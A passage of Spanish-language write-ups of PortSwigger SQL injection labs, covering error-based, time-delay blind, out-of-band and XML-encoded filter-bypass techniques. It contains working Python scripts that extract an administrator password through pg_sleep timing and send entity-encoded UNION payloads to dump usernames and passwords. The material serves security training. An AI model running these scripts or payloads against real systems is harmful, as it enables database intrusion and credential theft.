                                        continue
                                else:
                                        # print('No error')
                                        position += 1
                                        password += ''.join(character)
                                        print(f'[+] Found password: {password}', end='\r')
                                        break

                        if len(password) >= 20:
                                print(f'[+] administrator password: {password}')
                                exit()
        except KeyboardInterrupt:
                print('\n[*] Bye!')

if __name__ == '__main__':
        main()
```

{% hint style="info" %}
Este script se ha cogido de esta resolución [https://siunam321.github.io/ctf/portswigger-labs/SQL-Injection/sqli-12/](https://siunam321.github.io/ctf/portswigger-labs/SQL-Injection/sqli-12/)
{% endhint %}

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FpHzEX1ewRvjvSwHREAI9%2Fimage.png?alt=media&#x26;token=0a5e7bc1-e8e5-4360-9214-904d15b8053d" alt=""><figcaption></figcaption></figure>

Nos logueamos.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F8YQmlb8tZnPV1GtkApu2%2Fimage.png?alt=media&#x26;token=dbf6a692-31dc-4537-ba36-b61524c3df3e" alt=""><figcaption></figcaption></figure>

## Lab: Visible error-based SQL injection

### Enunciado

**Este laboratorio contiene una vulnerabilidad de inyección SQL.** La aplicación usa una **cookie de seguimiento (tracking cookie)** para análisis, y realiza una **consulta SQL** que incluye el valor enviado en esa cookie.

**Los resultados de la consulta no se devuelven** al usuario. La base de datos contiene una tabla diferente llamada **`users`**, con columnas **`username`** y **`password`**.

**Para resolver el laboratorio, debes encontrar una forma de filtrar (leak) la contraseña del usuario `administrator`, y luego iniciar sesión en su cuenta.**

### Resolución

Vemos la vulnerabilidad que en este caso sigue siendo el **TrackingID** añadiendo una comilla.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FWBAppxCr9FssK2BiHoXb%2Fimage.png?alt=media&#x26;token=852f00fc-d0f9-49b7-a37f-f61341391258" alt=""><figcaption></figcaption></figure>

El error que se nos muestra es muy llamativo ya que nos dice que el valor de la cookie se inyecta en la consulta. Hacemos pequeña modificación para que no nos salga ese error.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FClMFvXv0kJRRyHZ1FTWa%2Fimage.png?alt=media&#x26;token=8991be8e-bde7-4ab1-86b0-d429d8506b5e" alt=""><figcaption></figcaption></figure>

Vamos a ver con el siguiente payload la estructura de la consulta.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fh7y56Cfl0W3iroXDEvFg%2Fimage.png?alt=media&#x26;token=4712cfa3-e3f6-435e-971a-7dc708b02039" alt=""><figcaption></figcaption></figure>

Nos da error vamos a cambiarla a hacer una expresión booleana.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FCAlco0VdkYsAXdVenb90%2Fimage.png?alt=media&#x26;token=6cf95c47-16a6-4006-9ece-90ed096417b9" alt=""><figcaption></figcaption></figure>

Con esto demostramos que podemos inyectar sin romper la consulta. vamos a ver si extraemos datos de usuarios.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F7mZfHqJrUb8OPA2uEBX9%2Fimage.png?alt=media&#x26;token=79c6a2b8-f8ea-4575-bc70-ccd97b9d2844" alt=""><figcaption></figcaption></figure>

Nos da un error nuevo por lo que vamos a cambiarlo y limitamos la consulta.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FKIjdtIHfKBQfDQrXD39g%2Fimage.png?alt=media&#x26;token=eb98e804-0116-4b7b-a516-6c80ecab235f" alt=""><figcaption></figcaption></figure>

Vemos que existe el usuario por lo que nos falta extraer la contraseña.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FLF2P6nmljplF8CIut6OA%2Fimage.png?alt=media&#x26;token=11d75d8a-c457-4789-90c2-dc9b117e7038" alt=""><figcaption></figcaption></figure>

Se nos muestra otro error que delata la contraseña por lo que nos logueamos con las credenciales.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FUcobaq9QqWsPutkyg0Y8%2Fimage.png?alt=media&#x26;token=0dbdb8cf-9c47-4236-bc6d-34f83ccbba9e" alt=""><figcaption></figcaption></figure>

## Lab: Blind SQL injection with time delays

### Enunciado

**Este laboratorio contiene una vulnerabilidad de inyección SQL ciega (blind SQL injection).**

La aplicación utiliza una **cookie de seguimiento (tracking cookie)** para análisis, y realiza una **consulta SQL** que incluye el valor enviado en dicha cookie.

**Los resultados de la consulta no se devuelven**, y la aplicación **no responde de forma diferente** dependiendo de si la consulta devuelve filas o provoca un error.

Sin embargo, dado que la consulta se ejecuta de forma **sincrónica**, es posible **provocar retrasos condicionales en la ejecución** para inferir información.

### Resolución

Vamos a ver qué tipo de base de datos es.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FtSOmpbIJIK0cAPVzKf46%2Fimage.png?alt=media&#x26;token=235a4aa9-f333-46d4-8f4b-2ee419f3f9c7" alt=""><figcaption></figcaption></figure>

Es base de datos PostgreSQL.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FgmUsqaU5CKb45ABjETM7%2Fimage.png?alt=media&#x26;token=bf3994d0-8ddf-4970-94b4-e5d891f5ef96" alt=""><figcaption></figcaption></figure>

## Lab: Blind SQL injection with time delays and information retrieval

### Enunciado

**Este laboratorio contiene una vulnerabilidad de inyección SQL ciega (blind SQL injection).**

La aplicación utiliza una **cookie de seguimiento (tracking cookie)** para análisis, y realiza una **consulta SQL** que incluye el valor enviado en esa cookie.

**Los resultados de la consulta no se devuelven**, y la aplicación **no responde de manera diferente** según si la consulta devuelve filas o produce un error.

Sin embargo, dado que la consulta se ejecuta de forma **sincrónica**, es posible **provocar retrasos condicionales en la ejecución** para inferir información.

La base de datos contiene una tabla llamada **`users`**, con columnas **`username`** y **`password`**.

**Explotar la vulnerabilidad de inyección SQL ciega para averiguar la contraseña del usuario `administrator`, e iniciar sesión en su cuenta.**

### Resolución

Vamos a ver qué base de datos es.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FurCwjb0iaCHI1PbEBXIj%2Fimage.png?alt=media&#x26;token=a003d174-65fd-4b6e-baf2-052ff64e4a18" alt=""><figcaption></figcaption></figure>

Sabiendo esto miramos el siguiente payload.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Foc0Gldcgs0Vj4ZsoI3tt%2Fimage.png?alt=media&#x26;token=14ecdae1-646c-45d2-a062-3e26a3db2519" alt=""><figcaption></figcaption></figure>

Vamos a dormir la base de datos si existe el usuario en la tabla users.&#x20;

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FosjZy5lBsOmt61SLzGjF%2Fimage.png?alt=media&#x26;token=6c31c76f-4089-40e3-84df-3b56fd4ca862" alt=""><figcaption></figcaption></figure>

Como tarda 10 segundos sí existe el usuario. Ahora toca ver su contraseña.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fi3GJMlCpwSgoBs5NEmOS%2Fimage.png?alt=media&#x26;token=49aa7237-358b-40d4-bbb5-ceba1246a9be" alt=""><figcaption></figcaption></figure>

Observamos que tarda 10 segundos por lo que la contraseña tiene 20 caracteres.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F15S1JrGUAIXaQt94Q2Iz%2Fimage.png?alt=media&#x26;token=3b07e627-1f0d-46ea-a263-a5dabbe04245" alt=""><figcaption></figcaption></figure>

Como en los laboratorios anteriores se podría construir la contraseña en Cluster Bomb o de manera automática en Python.

```
import requests
import string
import urllib.parse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = 'https://0a0b008504a1eb638154611b005c00f9.web-security-academy.net/'
payload = "'||(select case when (username='administrator' and substring(password,{},1)='{}') then pg_sleep(10) else pg_sleep(2) end from users)--"
characters = string.printable

password = ''

for i in range(1, 21):
    for char in characters:
        cookie = {'TrackingId': 'TIHGzblAUd3dagoi' + payload.format(i, char)}
        r = requests.get(url, cookies=cookie, verify=False)
        if int(r.elapsed.total_seconds()) > 9:
            password += char
            break

    print("[x] La contraseña es: {}".format(password))
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F6wCr9cImrfIDgAsmW3Qp%2Fimage.png?alt=media&#x26;token=be41f250-abb5-4da0-9d26-4d278c9d212f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FlVHhVNmSUTvmac9JRcAS%2Fimage.png?alt=media&#x26;token=018e56b9-07b8-4da8-b0db-96ec58b81d27" alt=""><figcaption></figcaption></figure>

## Lab: Blind SQL injection with out-of-band interaction

### Enunciado

**Este laboratorio contiene una vulnerabilidad de inyección SQL ciega.**

La aplicación utiliza una cookie de seguimiento (_tracking cookie_) para análisis, y ejecuta una consulta SQL que incluye el valor de la cookie enviada.

La consulta SQL se ejecuta de forma **asíncrona** y no tiene ningún efecto en la respuesta de la aplicación. Sin embargo, puedes provocar interacciones _out-of-band_ (fuera de banda) con un dominio externo.

**Para resolver el laboratorio**, explota la vulnerabilidad de inyección SQL para causar una consulta DNS (DNS lookup) hacia un dominio de Burp Collaborator.

### Resolución

Miramos en el cheatsheet como sería la consulta a realizar.

{% hint style="info" %}
Ester laboratorio se hace con BurpSuite Professional
{% endhint %}

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FGKBQT87uFkAI28bHCPD6%2Fimage.png?alt=media&#x26;token=f8ae60c4-ecf6-4a9f-b0f1-392ccf7d6772" alt=""><figcaption></figcaption></figure>

Generamos 1 payload en **Collaborator** y lo copiamos en la consulta.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FungwewXg2ogF7wTP1G0N%2FCaptura%20de%20pantalla%202025-06-28%20165113.png?alt=media&#x26;token=c913d945-378e-4e59-b0a8-63ecf64ce405" alt=""><figcaption></figcaption></figure>

Vemos como en la ventana de **Collaborator** al enviarlo se ven las DNS y así completamos el laboratorio.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FGawpxmOiLqUSho8K80Lj%2FCaptura%20de%20pantalla%202025-06-28%20165329.png?alt=media&#x26;token=129ff339-eaca-4982-8a8d-8e12115e2c3d" alt=""><figcaption></figcaption></figure>

## Lab: Blind SQL injection with out-of-band data exfiltration

### Enunciado

**Este laboratorio contiene una vulnerabilidad de inyección SQL ciega.**

La aplicación utiliza una cookie de seguimiento (_tracking cookie_) para fines de análisis y ejecuta una consulta SQL que incluye el valor de la cookie enviada.

La consulta SQL se ejecuta de forma **asíncrona** y no tiene ningún efecto en la respuesta de la aplicación. Sin embargo, puedes provocar interacciones _out-of-band_ (fuera de banda) con un dominio externo.

La base de datos contiene una tabla diferente llamada **users**, con columnas llamadas **username** y **password**. Debes explotar la vulnerabilidad de inyección SQL ciega para averiguar la contraseña del usuario **administrator**.

**Para resolver el laboratorio, inicia sesión como el usuario administrator.**

### Resolución

Interceptamos y realizamos la consulta correspondiente a Oracle con el payload generado en **Collaborator**.

{% hint style="info" %}
Este laboratorio se hace con BurpSuite Professional
{% endhint %}

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F3oLZZGtCvwNoHO6TDF2w%2FCaptura%20de%20pantalla%202025-06-28%20171036.png?alt=media&#x26;token=9f10f736-ccf8-4f71-a828-e7da521e3058" alt=""><figcaption></figcaption></figure>

Vemos que antes del punto es la contraseña correspondiente al usuario y al logueanos con dichas credenciales completamos el laboratorio.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FFErE3bo6AoGo812O1SR7%2FCaptura%20de%20pantalla%202025-06-28%20171018.png?alt=media&#x26;token=9e77d3aa-de76-4198-9fc9-133b7ce4d70c" alt=""><figcaption></figcaption></figure>

## Lab: SQL injection with filter bypass via XML encoding

### Enunciado

**Este laboratorio contiene una vulnerabilidad de inyección SQL en su funcionalidad de verificación de stock.**

Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que puedes utilizar un ataque **UNION** para recuperar datos de otras tablas.

La base de datos contiene una tabla **users**, que almacena los nombres de usuario y contraseñas de los usuarios registrados.

**Para resolver el laboratorio, realiza un ataque de inyección SQL para obtener las credenciales del usuario admin y luego inicia sesión en su cuenta.**

### Resolución

La vulnerabilidad está en el stock del producto.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FMBe3pJTTB3CWDcUtN6sX%2Fimage.png?alt=media&#x26;token=fdcabe0a-e55a-4b72-bb10-38218e522de8" alt=""><figcaption></figcaption></figure>

Las consultas básicas maliciosas las detecta como ataques.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FzYbqwhPU784VaM0neXCZ%2Fimage.png?alt=media&#x26;token=b648b92e-86ad-4366-acd6-29daf7086756" alt=""><figcaption></figcaption></figure>

Probamos a ponerlas hexadecimal.

> Hay una extensión llamada HackVector

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FNgqhVESwJg3hNfCTXFwL%2Fimage.png?alt=media&#x26;token=27fa4660-4e4a-448d-8747-800301a6aa2e" alt=""><figcaption></figcaption></figure>

Ya no nos sale lo del ataque así que vamos a ver cuántas columnas tiene.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FZrxntvd0abbcloO8rg1o%2Fimage.png?alt=media&#x26;token=7043629f-3fb9-4e7f-9e15-44da916a88e9" alt=""><figcaption></figcaption></figure>

Cuando queremos saber s hay más de una columna nos sale que no hay unidades. Hacemos un script de Python para automatizar eso.

```
#!/usr/bin/python3

import requests

def main():
    url = 'https://0a4300460442812480ea1c8e008e0015.web-security-academy.net/product/stock'

    cookie = {
        'session': 'Ekz8u97zV5O9DK8grBFoVxJpUzL3DuaH'
    }

    header = {
        'Content-Type': 'application/xml'
    }

    # UNION SELECT NULL
    payload = '&#85;&#78;&#73;&#79;&#78;&#32;&#83;&#69;&#76;&#69;&#67;&#84;&#32;&#78;&#85;&#76;&#76;'
    
    xml = f'''<?xml version="1.0" encoding="UTF-8"?>
    <stockCheck>
        <productId>1</productId>
        <storeId>1 {payload}</storeId>
    </stockCheck>'''

    print(requests.post(url, cookies=cookie, headers=header, data=xml).text)

if __name__ == '__main__':
    main()
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FKo2vtvRQm0GipBRHsrwv%2Fimage.png?alt=media&#x26;token=bacc52b2-7e90-40ec-84c2-8cdc1801e812" alt=""><figcaption></figcaption></figure>

Cambio el payload para ver si acepta la columna cadena de texto.

```
# UNION SELECT 'string'
payload = '&#85;&#78;&#73;&#79;&#78;&#32;&#83;&#69;&#76;&#69;&#67;&#84;&#32;&#39;&#115;&#116;&#114;&#105;&#110;&#103;&#39;'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FK6MPtaNc07KDxTypSQxQ%2Fimage.png?alt=media&#x26;token=3f146655-6234-4b34-a679-fd40e63c66f5" alt=""><figcaption></figcaption></figure>

Sí acepta cadenas de texto por lo que vemos qué base de datos usa.

```
# UNION SELECT version()
payload = '&#85;&#78;&#73;&#79;&#78;&#32;&#83;&#69;&#76;&#69;&#67;&#84;&#32;&#118;&#101;&#114;&#115;&#105;&#111;&#110;&#40;&#41;'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FYuoEPWcMiFsiMhLQTVOi%2Fimage.png?alt=media&#x26;token=38cea645-a91c-4b77-bd54-2e75951f00f5" alt=""><figcaption></figcaption></figure>

Sabiendo eso vemos la consulta para ver si tiene una tabla usuarios.

```
# UNION SELECT table_name FROM information_schema.tables
payload = '&#85;&#78;&#73;&#79;&#78;&#32;&#83;&#69;&#76;&#69;&#67;&#84;&#32;&#116;&#97;&#98;&#108;&#101;&#95;&#110;&#97;&#109;&#101;&#32;&#70;&#82;&#79;&#77;&#32;&#105;&#110;&#102;&#111;&#114;&#109;&#97;&#116;&#105;&#111;&#110;&#95;&#115;&#99;&#104;&#101;&#109;&#97;&#46;&#116;&#97;&#98;&#108;&#101;&#115;'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEwS9DfH8NiVcKB9pvbwg%2Fimage.png?alt=media&#x26;token=f1278cd0-e9bf-452c-8157-857b427ee080" alt=""><figcaption></figcaption></figure>

Vamos a ver las columnas de la tabla.

```
# UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'
payload = '&#85;&#78;&#73;&#79;&#78;&#32;&#83;&#69;&#76;&#69;&#67;&#84;&#32;&#99;&#111;&#108;&#117;&#109;&#110;&#95;&#110;&#97;&#109;&#101;&#32;&#70;&#82;&#79;&#77;&#32;&#105;&#110;&#102;&#111;&#114;&#109;&#97;&#116;&#105;&#111;&#110;&#95;&#115;&#99;&#104;&#101;&#109;&#97;&#46;&#99;&#111;&#108;&#117;&#109;&#110;&#115;&#32;&#87;&#72;&#69;&#82;&#69;&#32;&#116;&#97;&#98;&#108;&#101;&#95;&#110;&#97;&#109;&#101;&#61;&#39;&#117;&#115;&#101;&#114;&#115;&#39;'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FHzi12PnQQxWLMcJYBMIH%2Fimage.png?alt=media&#x26;token=0bbff3d9-5829-45d3-bb6e-8303f88d154a" alt=""><figcaption></figcaption></figure>

Extraemos toda la información.

```
# UNION SELECT username||':'||password FROM users
payload = '&#85;&#78;&#73;&#79;&#78;&#32;&#83;&#69;&#76;&#69;&#67;&#84;&#32;&#117;&#115;&#101;&#114;&#110;&#97;&#109;&#101;&#124;&#124;&#39;&#58;&#39;&#124;&#124;&#112;&#97;&#115;&#115;&#119;&#111;&#114;&#100;&#32;&#70;&#82;&#79;&#77;&#32;&#117;&#115;&#101;&#114;&#115;'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FmAfwq5xmKMeuJjmFWhEf%2Fimage.png?alt=media&#x26;token=ede42491-2723-4411-a3b1-0a2bfa9e0298" alt=""><figcaption></figcaption></figure>

Nos logueamos.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F2RDrGZL7CWTREBZ7EGKY%2Fimage.png?alt=media&#x26;token=106851cf-81d6-4c38-aefb-9fecd41b6455" alt=""><figcaption></figcaption></figure>
